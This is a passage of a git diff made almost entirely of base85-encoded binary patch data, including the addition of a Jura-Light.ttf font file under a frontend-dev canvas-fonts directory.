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 aV?G>`5QswYyYuzw_`-R@-wqEc%Krr6ZWs;# literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Jura-Light.ttf b/skills/frontend-dev/canvas-fonts/Jura-Light.ttf new file mode 100644 index 0000000000000000000000000000000000000000..dffbb3397409ebc91d53f4c4b29b7988c26a49f6 GIT binary patch literal 154308 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 